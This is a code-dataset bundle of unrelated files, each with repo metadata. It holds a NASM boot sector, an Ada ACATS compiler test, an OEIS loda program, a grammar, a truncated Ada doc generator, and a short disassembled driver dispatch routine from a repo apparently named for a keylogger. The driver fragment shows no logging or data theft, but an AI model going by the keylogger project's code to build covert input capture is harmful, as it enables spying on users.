00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
src/001/os.asm
davidjwalling/os
0
85225
<gh_stars>0 ;======================================================================================================================= ; ; File: os.asm ; ; Project: 001 ; ; Description: This sample program defines a valid boot sector that displays a message and waits for a key to ; be pressed to restart the system. Real mode BIOS interrupts are used to display the message and ; poll for a keypress. Using assembly directives, either a simple boot sector or an entire floppy ; disk image is generated. The boot sector, os.dat, may be copied onto the the first sector of a ; diskette to boot a physical system. The disk image, os.dsk, may be used to configure a virtual ; machine. ; ; Revised: 1 Jan 2021 ; ; Assembly: nasm os.asm -f bin -o os.dat -l os.dat.lst -DBUILDBOOT ; nasm os.asm -f bin -o os.dsk -l os.dsk.lst -DBUILDDISK ; ; Assembler: Netwide Assembler (NASM) 2.15.05, 28 Aug 2020 ; ; Notice: Copyright (c) 2010 <NAME>. MIT License. ; ;======================================================================================================================= ;----------------------------------------------------------------------------------------------------------------------- ; ; Assembly Directives ; ; Use one of the following as an assembly directive (-D) with NASM. ; ; BUILDBOOT Creates os.dat, a 512-byte boot sector as a stand-alone file. ; BUILDDISK Creates os.dsk, a 1.44MB (3.5") floppy disk image file. ; ;----------------------------------------------------------------------------------------------------------------------- %ifdef BUILDDISK ;if we are building a disk image ... %define BUILDBOOT ;... also build the boot sector %endif ;----------------------------------------------------------------------------------------------------------------------- ; ; Conventions ; ; Alignment: In this document, columns are numbered beginning with 1. Logical tabs are set after every ; eight columns. Tabs are simulated using SPACE characters. Comments that span an entire line ; have a semicolon in line 1 and text begins in column 9. Assembly instructions (mnemonics) ; begin in column 25. Assembly operands begin in column 33. Inline comments begin in column 81. ; Lines should not extend beyond column 120. ; ; Arguments: Arguments are passed as registers and generally follow this order: EAX, ECX, EDX, EBX. ECX ; may be used as the sole parameter if a test for zero is performed. EBX and EBP may be used as ; parameters if the routine is considered a "method" of an "object". In this case, EBX or EBP ; will address the object storage. If the routine is a general-purpose string or byte-array ; manipulator, ESI and EDI may be used as parameters to address input and/or ouput buffers. ; ; Code Order: Routines should appear in the order of their first likely use. Negative relative call or jump ; addresses usually, therefore, indicate reuse. ; ; Comments: A comment that spans the entire line begins with a semicolon in column 1. A comment that ; accompanies code on a line begins with a semicolon in column 81. Register names in comments ; are in upper case (EAX, EDI). Hexadecimal values in comments are in lower case (01fh, 0dah). ; Routines are preceded with a comment box that includes the routine name, description, and ; register contents on entry and exit, if applicable. ; ; Constants: Symbolic constants (equates) are named in all-caps beginning with 'E' (EDATAPORT). Constant ; stored values are named in camel case, starting with 'c' (cbMaxLines). The 2nd letter of the ; constant label indicates the storage type. ; ; cq...... constant quad-word (dq) ; cd...... constant double-word (dd) ; cw...... constant word (dw) ; cb...... constant byte (db) ; cz...... constant ASCIIZ (null-terminated) string ; cs...... constant non-terminated string (sequence of characters) ; ; Instructions: 32-bit instructions are generally favored. 8-bit instructions and data are preferred for ; flags and status fields, etc. 16-bit instructions are avoided wherever possible to limit ; the generation of prefix bytes. ; ; Labels: Labels within a routine are numeric and begin with a period (.10, .20). Labels within a ; routine begin at .10 and increment by 10. ; ; Literals: Literal values defined by external standards should be defined as symbolic constants ; (equates). Hexadecimal literals in code are in upper case with a leading '0' and trailing ; 'h' (01Fh). Binary literal values in source code are encoded with a final 'b' (1010b). ; Decimal literal values in source code are strictly numerals (2048). Octal literal values ; are avoided. String literals are enclosed in double quotes, e.g. "Loading OS". Single ; character literals are enclosed in single quotes, e.g. 'A'. ; ; Macros: Macro names are in camel case, beginning with a lower-case letter (getDateString). Macro ; names describe an action and begin with a verb. ; ; Memory Use: Operating system memory allocation is avoided. Buffers are kept to as small a size as ; practicable. Data and code intermingling is avoided. ; ; Registers: Register names in comments are in upper case (EAX, EDX). Register names in source code are ; in lower case (eax, edx). ; ; Return Values: Routines return result values in EAX or ECX or both. Routines should indicate failure by ; setting the carry flag to 1. Routines may prefer the use of ECX as a return value if the ; value is to be tested for null upon return using, for example, the jecxz instruction. ; ; Routines: Routine names are in mixed case and capitalized (GetYear, ReadRealTimeClock). Routine names ; begin with a verb (Get, Read, Load). Routines should have a single entry address and a single ; exit instruction (ret, iretd, etc.). Routines that serve as wrappers for library functions ; carry the same name as the library function but begin with a leading underscore (_) character. ; ; Structures: Structure names are in all-caps (DATETIME). Structure names describe a "thing" and so do NOT ; begin with a verb. ; ; Usage: Registers EBX, ECX, EBP, SS, CS, DS and ES are preserved by routines. Registers ESI and EDI ; are preserved unless they are input parameters. Registers EAX and ECX are preferred for ; returning response/result values. Registers EBX and EBP are preferred for context (structure) ; address parameters. Registers EAX, ECX, EDX and EBX are preferred for integral parameters. ; ; Variables: Variables are named in camel case, starting with 'w'. The 2nd letter of the variable label ; indicates the storage type. ; ; wq...... variable quad-word (resq) ; wd...... variable double-word (resd) ; ww...... variable word (resw) ; wb...... variable byte (resb) ; ws...... writable structure ; ;----------------------------------------------------------------------------------------------------------------------- ;======================================================================================================================= ; ; Equates ; ; The equate (equ) statement defines a symbolic name for a fixed value so that such a value can be defined and ; verified once and then used throughout the code. Using symbolic names simplifies searching for where logical ; values are used. Equate names are in all-caps and begin with the letter 'E'. Equates are grouped into related ; sets. Equates in this sample program are defined in the following groupings: ; ; Hardware-Defined Values ; ; EKEYB... 8042 or "PS/2 Controller" (Keyboard Controller) values ; ; Firmware-Defined Values ; ; EBIOS... Basic Input/Output System (BIOS) values ; ; Operating System Values ; ; EBOOT... Boot sector and loader values ; ;======================================================================================================================= ;----------------------------------------------------------------------------------------------------------------------- ; ; Hardware-Defined Values ; ;----------------------------------------------------------------------------------------------------------------------- ;----------------------------------------------------------------------------------------------------------------------- ; ; 8042 Keyboard Controller EKEYB... ; ; The 8042 Keyboard Controller (8042) is a programmable controller that accepts input signals from the keyboard ; device. It also signals a hardware interrupt to the CPU when the low-order bit of I/O port 64h is set to zero. ; ;----------------------------------------------------------------------------------------------------------------------- EKEYBPORTSTAT equ 064h ;status port EKEYBCMDRESET equ 0FEh ;reset bit 0 to restart system ;----------------------------------------------------------------------------------------------------------------------- ; ; Firmware-Defined Values ; ;----------------------------------------------------------------------------------------------------------------------- ;----------------------------------------------------------------------------------------------------------------------- ; ; BIOS Interrupts and Functions EBIOS... ; ; Basic Input/Output System (BIOS) functions are grouped and accessed by issuing an interrupt call. Each ; BIOS interrupt supports several functions. The function code is typically passed in the AH register. ; ;----------------------------------------------------------------------------------------------------------------------- EBIOSINTVIDEO equ 010h ;video services interrupt EBIOSFNSETVMODE equ 000h ;video set mode function EBIOSMODETEXT80 equ 003h ;video mode 80x25 text EBIOSFNTTYOUTPUT equ 00Eh ;video TTY output function EBIOSINTKEYBOARD equ 016h ;keyboard services interrupt EBIOSFNKEYSTATUS equ 001h ;keyboard status function ;----------------------------------------------------------------------------------------------------------------------- ; ; Operating System Values ; ;----------------------------------------------------------------------------------------------------------------------- ;----------------------------------------------------------------------------------------------------------------------- ; ; Boot Sector and Loader Constants EBOOT... ; ; Equates in this section support the boot sector and the 16-bit operating system loader, which will be ; responsible for placing the CPU into protected mode and calling the initial operating system task. ; ;----------------------------------------------------------------------------------------------------------------------- EBOOTSTACKTOP equ 0100h ;boot sector stack top relative to DS EBOOTSECTORBYTES equ 512 ;bytes per sector EBOOTDIRENTRIES equ 224 ;directory entries (1.44MB 3.5" FD) EBOOTDISKSECTORS equ 2880 ;sectors per disk (1.44MB 3.5" FD) EBOOTDISKBYTES equ (EBOOTSECTORBYTES*EBOOTDISKSECTORS) ;bytes per disk %ifdef BUILDBOOT ;======================================================================================================================= ; ; Boot Sector @disk: 000000 @mem: 007c00 ; ; The first sector of the diskette is the boot sector. The BIOS will load the boot sector into memory and pass ; control to the code at the start of the sector. The boot sector code is responsible for loading the operating ; system into memory. The boot sector contains a disk parameter table describing the geometry and allocation ; of the diskette. Following the disk parameter table is code to load the operating system kernel into memory. ; ; The "cpu" directive limits emitted code to those instructions supported by the most primitive processor ; we expect to ever execute the code. The "vstart" parameter indicates addressability of symbols so as to ; emulate the DOS .COM program model. Although the BIOS is expected to load the boot sector at address 7c00, ; we do not make that assumption. The CPU starts in 16-bit addressing mode. A three-byte jump instruction is ; immediately followed by the disk parameter table. ; ;======================================================================================================================= cpu 8086 ;assume minimal CPU section boot vstart=0100h ;emulate .COM (CS,DS,ES=PSP) addressing bits 16 ;16-bit code at power-up Boot jmp word Boot.10 ;jump over parameter table ;----------------------------------------------------------------------------------------------------------------------- ; ; Disk Parameter Table ; ; The disk parameter table informs the BIOS of the floppy disk architecture. Here, we use parameters for the ; 3.5" 1.44MB floppy disk since this format is widely supported by virtual machine hypervisors. ; ;----------------------------------------------------------------------------------------------------------------------- db "OS " ;eight-byte label cwSectorBytes dw EBOOTSECTORBYTES ;bytes per sector cbClusterSectors db 1 ;sectors per cluster cwReservedSectors dw 1 ;reserved sectors cbFatCount db 2 ;file allocation table copies cwDirEntries dw EBOOTDIRENTRIES ;max directory entries cwDiskSectors dw EBOOTDISKSECTORS ;sectors per disk cbDiskType db 0F0h ;1.44MB cwFatSectors dw 9 ;sectors per FAT copy cbTrackSectors equ $ ;sectors per track (as byte) cwTrackSectors dw 18 ;sectors per track (as word) cwDiskSides dw 2 ;sides per disk cwSpecialSectors dw 0 ;special sectors ; ; BIOS typically loads the boot sector at absolute address 7c00 and sets the stack pointer at 512 bytes past ; the end of the boot sector. But, since BIOS code varies, we don't make any assumptions as to where the boot ; sector is loaded. For example, the initial CS:IP could be 0:7c00, 700:c00, 7c0:0, etc. To avoid assumptions, ; we first normalize CS:IP to get the absolute segment address in BX. The comments below show the effect of this ; code given several possible starting values for CS:IP. ; ;CS:IP 0:7c00 700:c00 7c0:0 Boot.10 call word .20 ;[ESP] = 7c21 c21 21 .@20 equ $-$$ ;.@20 = 021h .20 pop ax ;AX = 7c21 c21 21 sub ax,.@20 ;AX = 7c00 c00 0 mov cl,4 ;shift count shr ax,cl ;AX = 7c0 c0 0 mov bx,cs ;BX = 0 700 7c0 add bx,ax ;BX = 7c0 7c0 7c0 ; ; Now, since we are assembling the boot code to emulate the addressing of a .COM file, we want the DS and ES ; registers to be set to where a Program Segment Prefix (PSP) would be, exactly 100h (256) bytes prior to ; the start of the code. This will correspond to the assembled data address offsets. Note that we instructed ; the assembler to produce addresses for the symbols that are offset from the code by 100h. See the "vstart" ; parameter for the "section" directive above. We also set SS to the PSP and SP to the address of the i/o ; buffer. This leaves 256 bytes of usable stack from 7b0:0 to 7b0:100. ; ; Note that when a value is loaded into the stack segment register (SS) interrupts are disabled until the ; completion of the following instruction. ; sub bx,16 ;BX = 07b0 mov ds,bx ;DS = 07b0 = psp mov es,bx ;ES = 07b0 = psp mov ss,bx ;SS = 07b0 = psp (ints disabled) mov sp,EBOOTSTACKTOP ;SP = 0100 (ints enabled) ; ; Boot addressability is now set up according to the following diagram. ; ; DS,ES,SS -----> 007b00 +-----------------------------------------------+ DS:0000 ; | Boot Stack & Boot PSP (Unused) | ; | 256 = 100h bytes | ; SS:SP --------> 007c00 +-----------------------------------------------+ DS:0100 07b0:0100 ; | Boot Sector (vstart=0100h) | ; | 1 sector = 512 = 200h bytes | ; 007e00 +-----------------------------------------------+ DS:0300 ; ; Set the video mode to 80 column, 25 row, text. ; mov ax,EBIOSFNSETVMODE<<8|EBIOSMODETEXT80 ;set mode function, 80x25 text mode int EBIOSINTVIDEO ;call BIOS display interrupt ; ; Write a message to the console so we know we have addressability established. ; mov si,czStartingMsg ;starting message call PutTTYString ;display loader message ; ; Now we want to wait for a keypress. We can use a keyboard interrupt function for this (INT 16h, AH=0). ; However, some hypervisor BIOS implementations have been seen to implement the "wait" as simply a fast ; iteration of the keyboard status function call (INT 16h, AH=1), causing a max CPU condition. So, instead, ; we will use the keyboard status call and iterate over a halt (HLT) instruction until a key is pressed. ; The STI instruction enables maskable interrupts, including the keyboard. The CPU assures that the ; instruction immediately following STI will be executed before any interrupt is serviced. ; .30 mov ah,EBIOSFNKEYSTATUS ;keyboard status function int EBIOSINTKEYBOARD ;call BIOS keyboard interrupt jnz .40 ;exit if key pressed sti ;enable maskable interrupts hlt ;wait for interrupt jmp .30 ;repeat until keypress ; ; Now that a key has been pressed, we signal the system to restart by driving the B0 line on the 8042 ; keyboard controller low (OUT 64h,0feh). The restart may take some microseconds to kick in, so we issue ; HLT until the system resets. ; .40 mov al,EKEYBCMDRESET ;8042 pulse output port pin out EKEYBPORTSTAT,al ;drive B0 low to restart .50 sti ;enable maskable interrupts hlt ;stop until reset, int, nmi jmp .50 ;loop until restart kicks in ;----------------------------------------------------------------------------------------------------------------------- ; ; Routine: PutTTYString ; ; Description: This routine sends a NUL-terminated string of characters to the TTY output device. We use the ; TTY output function of the BIOS video interrupt, passing the address of the string in DS:SI ; and the BIOS teletype function code in AH. After a return from the BIOS interrupt, we repeat ; for the next string character until a NUL is found. Note that we clear the direction flag (DF) ; with CLD before the first LODSB. The direction flag is not guaranteed to be preserved between ; calls within the OS. However, the "int" instruction does store the EFLAGS register on the ; stack and restores it on return. Therefore, clearing the direction flag before subsequent calls ; to LODSB is not needed. ; ; In: DS:SI address of string ; ; Out: DF 0 ; ZF 1 ; AL 0 ; ;----------------------------------------------------------------------------------------------------------------------- PutTTYString cld ;forward strings .10 lodsb ;load next byte at DS:SI in AL test al,al ;end of string? jz .20 ;... yes, exit loop mov ah,EBIOSFNTTYOUTPUT ;BIOS teletype function int EBIOSINTVIDEO ;call BIOS display interrupt jmp .10 ;repeat until done .20 ret ;return ;----------------------------------------------------------------------------------------------------------------------- ; ; Loader Data ; ; The only "data" is the string displayed when the system starts. It ends with ASCII carriage-return (13) and ; line-feed (10) values. The remainder of the boot sector is filled with NUL. The boot sector finally ends with ; the required two-byte signature checked by the BIOS. Note that recent versions of NASM will issue a warning if ; the calculated address for the end-of-sector signature produces a negative value for "510-($-$$)". This will ; indicate if we have added too much data and exceeded the length of the sector. ; ;----------------------------------------------------------------------------------------------------------------------- czStartingMsg db "Starting OS",13,10,0 ;starting message times 510-($-$$) db 0h ;zero fill to end of sector db 055h,0AAh ;end of sector signature %endif %ifdef BUILDDISK ;----------------------------------------------------------------------------------------------------------------------- ; ; Free Disk Space @disk: 000200 @mem: n/a ; ; Following the convention introduced by DOS, we use the value 'F6' to indicate unused floppy disk storage. ; ;----------------------------------------------------------------------------------------------------------------------- section unused ;unused disk space times EBOOTDISKBYTES-EBOOTSECTORBYTES db 0F6h ;fill to end of disk image %endif ;======================================================================================================================= ; ; End of Program Code ; ;=======================================================================================================================
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c43204a.ada
best08618/asylo
7
20192
<gh_stars>1-10 -- C43204A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT AN ARRAY AGGREGATE WITH AN OTHERS CHOICE CAN APPEAR -- (AND BOUNDS ARE DETERMINED CORRECTLY) AS AN ACTUAL PARAMETER OF -- A SUBPROGRAM CALL WHEN THE FORMAL PARAMETER IS CONSTRAINED. -- HISTORY: -- JET 08/04/88 CREATED ORIGINAL TEST. WITH REPORT; USE REPORT; PROCEDURE C43204A IS TYPE ARR10 IS ARRAY(IDENT_INT(1)..IDENT_INT(0)) OF INTEGER; TYPE ARR11 IS ARRAY(INTEGER RANGE -3..3) OF INTEGER; TYPE ARR12 IS ARRAY(IDENT_INT(-3)..IDENT_INT(3)) OF INTEGER; TYPE ARR20 IS ARRAY(IDENT_INT(1)..IDENT_INT(0), IDENT_INT(0)..IDENT_INT(-1)) OF INTEGER; TYPE ARR21 IS ARRAY(INTEGER RANGE -1..1, INTEGER RANGE -1..1) OF INTEGER; TYPE ARR22 IS ARRAY(IDENT_INT(-1)..IDENT_INT(1), IDENT_INT(-1)..IDENT_INT(1)) OF INTEGER; TYPE ARR23 IS ARRAY(INTEGER'(-1)..1, IDENT_INT(-1)..IDENT_INT(1)) OF INTEGER; PROCEDURE PROC10 (A : ARR10) IS BEGIN IF A'LENGTH /= IDENT_INT(0) THEN FAILED ("PROC10 ARRAY IS NOT NULL"); END IF; END PROC10; PROCEDURE PROC11 (A : ARR11; C : INTEGER) IS BEGIN IF A'LENGTH /= IDENT_INT(7) OR A'FIRST /= IDENT_INT(-3) OR A'LAST /= IDENT_INT(3) THEN FAILED ("INCORRECT LENGTH IN PROC11 CALL NUMBER" & INTEGER'IMAGE(C)); END IF; FOR I IN IDENT_INT(-3)..IDENT_INT(3) LOOP IF IDENT_INT(A(I)) /= C THEN FAILED ("INCORRECT VALUE OF COMPONENT " & INTEGER'IMAGE(I) & ", PROC11 CALL NUMBER" & INTEGER'IMAGE(C)); END IF; END LOOP; END PROC11; PROCEDURE PROC12 (A : ARR12) IS BEGIN IF A'LENGTH /= IDENT_INT(7) THEN FAILED ("INCORRECT LENGTH IN PROC12"); END IF; FOR I IN IDENT_INT(-3)..IDENT_INT(3) LOOP IF IDENT_INT(A(I)) /= 3 THEN FAILED ("INCORRECT VALUE OF COMPONENT " & INTEGER'IMAGE(I) & ", PROC12"); END IF; END LOOP; END PROC12; PROCEDURE PROC20 (A : ARR20) IS BEGIN IF A'LENGTH(1) /= IDENT_INT(0) OR A'LENGTH(2) /= IDENT_INT(0) THEN FAILED ("PROC20 ARRAY IS NOT NULL"); END IF; END PROC20; PROCEDURE PROC21 (A : ARR21; C : INTEGER) IS BEGIN FOR I IN INTEGER'(-1)..1 LOOP FOR J IN INTEGER'(-1)..1 LOOP IF IDENT_INT(A(I,J)) /= C THEN FAILED ("INCORRECT VALUE OF COMPONENT (" & INTEGER'IMAGE(I) & "," & INTEGER'IMAGE(J) & "), PROC21 CALL " & "NUMBER" & INTEGER'IMAGE(C)); END IF; END LOOP; END LOOP; END PROC21; PROCEDURE PROC22 (A : ARR22) IS BEGIN FOR I IN INTEGER'(-1)..1 LOOP FOR J IN INTEGER'(-1)..1 LOOP IF IDENT_INT(A(I,J)) /= 5 THEN FAILED ("INCORRECT VALUE OF COMPONENT (" & INTEGER'IMAGE(I) & "," & INTEGER'IMAGE(J) & "), PROC22"); END IF; END LOOP; END LOOP; END PROC22; PROCEDURE PROC23 (A : ARR23) IS BEGIN FOR I IN INTEGER'(-1)..1 LOOP FOR J IN INTEGER'(-1)..1 LOOP IF IDENT_INT(A(I,J)) /= 7 THEN FAILED ("INCORRECT VALUE OF COMPONENT (" & INTEGER'IMAGE(I) & "," & INTEGER'IMAGE(J) & "), PROC23"); END IF; END LOOP; END LOOP; END PROC23; BEGIN TEST ("C43204A", "CHECK THAT AN ARRAY AGGREGATE WITH AN OTHERS " & "CHOICE CAN APPEAR (AND BOUNDS ARE DETERMINED " & "CORRECTLY) AS AN ACTUAL PARAMETER OF A " & "SUBPROGRAM CALL WHEN THE FORMAL PARAMETER IS " & "CONSTRAINED"); PROC11 ((1,1,1, OTHERS => 1), 1); PROC11 ((2 => 2, 3 => 2, OTHERS => 2), 2); PROC12 ((OTHERS => 3)); PROC10 ((OTHERS => 4)); PROC21 (((1,1,1), OTHERS => (1,1,1)), 1); PROC21 ((1 => (2,2,2), OTHERS => (2,2,2)), 2); PROC21 (((3,OTHERS => 3), (3,OTHERS => 3), (3,3,OTHERS => 3)), 3); PROC21 (((-1 => 4, OTHERS => 4), (0 => 4, OTHERS => 4), (1 => 4, OTHERS => 4)), 4); PROC22 ((OTHERS => (OTHERS => 5))); PROC20 ((OTHERS => (OTHERS => 6))); PROC23 ((OTHERS => (7,7,7))); RESULT; END C43204A;
programs/oeis/153/A153642.asm
karttu/loda
1
6935
; A153642: a(n) = 4*n^2 + 24*n + 8. ; 36,72,116,168,228,296,372,456,548,648,756,872,996,1128,1268,1416,1572,1736,1908,2088,2276,2472,2676,2888,3108,3336,3572,3816,4068,4328,4596,4872,5156,5448,5748,6056,6372,6696,7028,7368,7716,8072,8436,8808,9188,9576,9972,10376,10788,11208,11636,12072,12516,12968,13428,13896,14372,14856,15348,15848,16356,16872,17396,17928,18468,19016,19572,20136,20708,21288,21876,22472,23076,23688,24308,24936,25572,26216,26868,27528,28196,28872,29556,30248,30948,31656,32372,33096,33828,34568,35316,36072,36836,37608,38388,39176,39972,40776,41588,42408,43236,44072,44916,45768,46628,47496,48372,49256,50148,51048,51956,52872,53796,54728,55668,56616,57572,58536,59508,60488,61476,62472,63476,64488,65508,66536,67572,68616,69668,70728,71796,72872,73956,75048,76148,77256,78372,79496,80628,81768,82916,84072,85236,86408,87588,88776,89972,91176,92388,93608,94836,96072,97316,98568,99828,101096,102372,103656,104948,106248,107556,108872,110196,111528,112868,114216,115572,116936,118308,119688,121076,122472,123876,125288,126708,128136,129572,131016,132468,133928,135396,136872,138356,139848,141348,142856,144372,145896,147428,148968,150516,152072,153636,155208,156788,158376,159972,161576,163188,164808,166436,168072,169716,171368,173028,174696,176372,178056,179748,181448,183156,184872,186596,188328,190068,191816,193572,195336,197108,198888,200676,202472,204276,206088,207908,209736,211572,213416,215268,217128,218996,220872,222756,224648,226548,228456,230372,232296,234228,236168,238116,240072,242036,244008,245988,247976,249972,251976,253988,256008 mov $1,$0 add $0,8 mul $1,$0 mul $1,4 add $1,36
DriverEntry.asm
nanabingies/KiLogr
0
84392
.text:00401250 ; =============== S U B R O U T I N E ======================================= .text:00401250 .text:00401250 ; Attributes: bp-based frame .text:00401250 .text:00401250 sub_401250 proc near ; CODE XREF: sub_401068+11↑p .text:00401250 ; sub_401068+7A↑p .text:00401250 .text:00401250 arg_0 = dword ptr 8 .text:00401250 .text:00401250 push ebp .text:00401251 mov ebp, esp .text:00401253 mov edx, [ebp+arg_0] .text:00401256 mov eax, offset sub_401400 .text:0040125B push edi .text:0040125C push 1Bh .text:0040125E pop ecx .text:0040125F lea edi, [edx+38h] .text:00401262 rep stosd .text:00401264 push edx .text:00401265 mov dword ptr [edx+44h], offset sub_401360 .text:0040126C mov dword ptr [edx+34h], offset sub_4013A0 .text:00401273 call sub_401280 .text:00401278 xor eax, eax .text:0040127A pop edi .text:0040127B pop ebp .text:0040127C retn 8 .text:0040127C sub_401250 endp .text:0040127C
calculator/calculator.g4
augustand/grammars-v4
0
3940
/* BSD License Copyright (c) 2013, <NAME> All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Tom Everett nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ grammar calculator; equation : expression relop expression ; expression : multiplyingExpression ((PLUS | MINUS) multiplyingExpression)* ; multiplyingExpression : powExpression ((TIMES | DIV) powExpression)* ; powExpression : atom (POW atom)* ; atom : scientific | variable | LPAREN expression RPAREN | func ; scientific : number (E number)? ; func : funcname LPAREN expression RPAREN ; funcname : COS | TAN | SIN | ACOS | ATAN | ASIN | LOG | LN ; relop : EQ | GT | LT ; number : MINUS? DIGIT + (POINT DIGIT +)? ; variable : MINUS? LETTER (LETTER | DIGIT)* ; COS : 'cos' ; SIN : 'sin' ; TAN : 'tan' ; ACOS : 'acos' ; ASIN : 'asin' ; ATAN : 'atan' ; LN : 'ln' ; LOG : 'log' ; LPAREN : '(' ; RPAREN : ')' ; PLUS : '+' ; MINUS : '-' ; TIMES : '*' ; DIV : '/' ; GT : '>' ; LT : '<' ; EQ : '=' ; POINT : '.' ; E : 'e' | 'E' ; POW : '^' ; LETTER : ('a' .. 'z') | ('A' .. 'Z') ; DIGIT : ('0' .. '9') ; WS : [ \r\n\t] + -> channel (HIDDEN) ;
examples/ext_doc.adb
ytomino/drake
33
22076
<gh_stars>10-100 -- document generator with Ada.Containers.Limited_Ordered_Maps; with Ada.Directories; with Ada.Strings.Fixed; with Ada.Strings.Functions; with Ada.Strings.Unbounded; with Ada.Text_IO; procedure ext_doc is use type Ada.Strings.Unbounded.Unbounded_String; Prefix : constant String := "https://github.com/ytomino/drake/blob/master/"; function Start_With (S, Prefix : String) return Boolean is begin return S'Length >= Prefix'Length and then S (S'First .. S'First + Prefix'Length - 1) = Prefix; end Start_With; Unknown_Unit_Kind_Error : exception; Unknown_Unit_Name_Error : exception; Parse_Error : exception; Extended_Style_Error : exception; Mismatch_Error : exception; type Unit_Kind is (Standard_Unit, Extended_Unit, Runtime_Unit, Implementation_Unit); type Unit_Contents is limited record File_Name : aliased Ada.Strings.Unbounded.Unbounded_String; Relative_Name : aliased Ada.Strings.Unbounded.Unbounded_String; Kind : Unit_Kind; Renamed : aliased Ada.Strings.Unbounded.Unbounded_String; Instantiation : aliased Ada.Strings.Unbounded.Unbounded_String; Reference : aliased Ada.Strings.Unbounded.Unbounded_String; Document : aliased Ada.Strings.Unbounded.Unbounded_String; end record; package Doc_Maps is new Ada.Containers.Limited_Ordered_Maps (String, Unit_Contents); Extendeds : aliased Doc_Maps.Map; procedure Process_Spec (Name : in String) is procedure Get_Unit_Name ( Line : in String; Unit_Name : out Ada.Strings.Unbounded.Unbounded_String; Is_Private : in out Boolean; Rest : out Ada.Strings.Unbounded.Unbounded_String) is F : Positive := Line'First; L : Integer; begin loop L := Ada.Strings.Functions.Index_Element (Line, ' ', From => F) - 1; if L < F and then Line (Line'Last) = ';' then L := Line'Last - 1; end if; if L < F then raise Unknown_Unit_Name_Error with Name & " """ & Line & """"; end if; if Line (F .. L) = "private" then Is_Private := True; F := Ada.Strings.Fixed.Index_Non_Blank (Line, From => L + 1); elsif Line (F .. L) = "package" or else Line (F .. L) = "procedure" or else Line (F .. L) = "function" or else Line (F .. L) = "generic" then F := Ada.Strings.Fixed.Index_Non_Blank (Line, From => L + 1); else Unit_Name := +Line (F .. L); Rest := +Line (L + 1 .. Line'Last); exit; end if; end loop; end Get_Unit_Name; File : Ada.Text_IO.File_Type; Unit_Name : aliased Ada.Strings.Unbounded.Unbounded_String; Is_Private : Boolean := False; Kind : Unit_Kind; Renamed : Ada.Strings.Unbounded.Unbounded_String; Instantiation : Ada.Strings.Unbounded.Unbounded_String; Reference : Ada.Strings.Unbounded.Unbounded_String; Document : Ada.Strings.Unbounded.Unbounded_String; Rest_Line : aliased Ada.Strings.Unbounded.Unbounded_String; begin -- Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error, Name); Ada.Text_IO.Open (File, Ada.Text_IO.In_File, Name); if Start_With (Ada.Directories.Simple_Name (Name), "c-") then Kind := Implementation_Unit; else Detect_Kind : loop if Ada.Text_IO.End_Of_File (File) then raise Unknown_Unit_Kind_Error with Name; end if; declare Line : constant String := Ada.Text_IO.Get_Line (File); begin if Start_With (Line, "--") then if Start_With (Line, "-- Ada") or else Start_With (Line, "-- AARM") or else Line = "-- separated and auto-loaded by compiler" or else Start_With (Line, "-- specialized for ") then Kind := Standard_Unit; exit; elsif Start_With (Line, "-- extended unit, see ") then Kind := Extended_Unit; Reference := +Line (Line'First + 23 .. Line'Last); exit; elsif Start_With (Line, "-- extended ") then Kind 